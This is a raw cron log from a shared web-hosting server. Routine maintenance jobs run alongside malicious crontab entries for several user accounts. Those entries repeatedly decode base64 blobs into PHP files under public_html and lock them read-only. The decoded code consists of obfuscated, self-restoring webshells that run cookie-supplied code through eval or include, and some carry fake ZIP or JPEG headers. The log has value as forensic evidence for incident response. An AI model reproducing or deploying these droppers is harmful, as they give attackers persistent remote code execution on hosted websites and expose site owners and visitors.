Mar  2 13:04:01 medusa CROND[6872]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:04:01 medusa CROND[6874]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:04:01 medusa CROND[6875]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:04:01 medusa CROND[6876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:04:01 medusa CROND[6878]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:04:01 medusa CROND[6879]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:04:01 medusa CROND[6883]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:04:01 medusa CROND[6885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:04:01 medusa CROND[6889]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:04:01 medusa CROND[6888]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:04:01 medusa CROND[6893]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:05:01 medusa CROND[25412]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 13:05:01 medusa CROND[25423]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 13:05:02 medusa CROND[25505]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 13:05:02 medusa CROND[25554]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 13:05:02 medusa CROND[25701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:05:02 medusa CROND[25702]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:05:02 medusa CROND[25703]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 13:05:02 medusa CROND[25705]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:05:02 medusa CROND[25704]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 13:05:02 medusa CROND[25706]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:05:02 medusa CROND[25707]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:05:02 medusa CROND[25708]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:05:02 medusa CROND[25712]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 13:05:02 medusa CROND[25710]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 13:05:02 medusa CROND[25709]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 13:05:02 medusa CROND[25715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:05:02 medusa CROND[25711]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 13:05:02 medusa CROND[25727]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:05:02 medusa CROND[25730]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:05:02 medusa CROND[25735]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:05:02 medusa CROND[25738]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:05:02 medusa CROND[25745]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 13:05:02 medusa CROND[25726]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 13:05:02 medusa CROND[25742]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 13:06:01 medusa CROND[9497]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 13:06:02 medusa CROND[9639]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:06:02 medusa CROND[9641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:06:02 medusa CROND[9642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:06:02 medusa CROND[9643]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:06:02 medusa CROND[9644]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:06:02 medusa CROND[9645]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 13:06:02 medusa CROND[9646]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
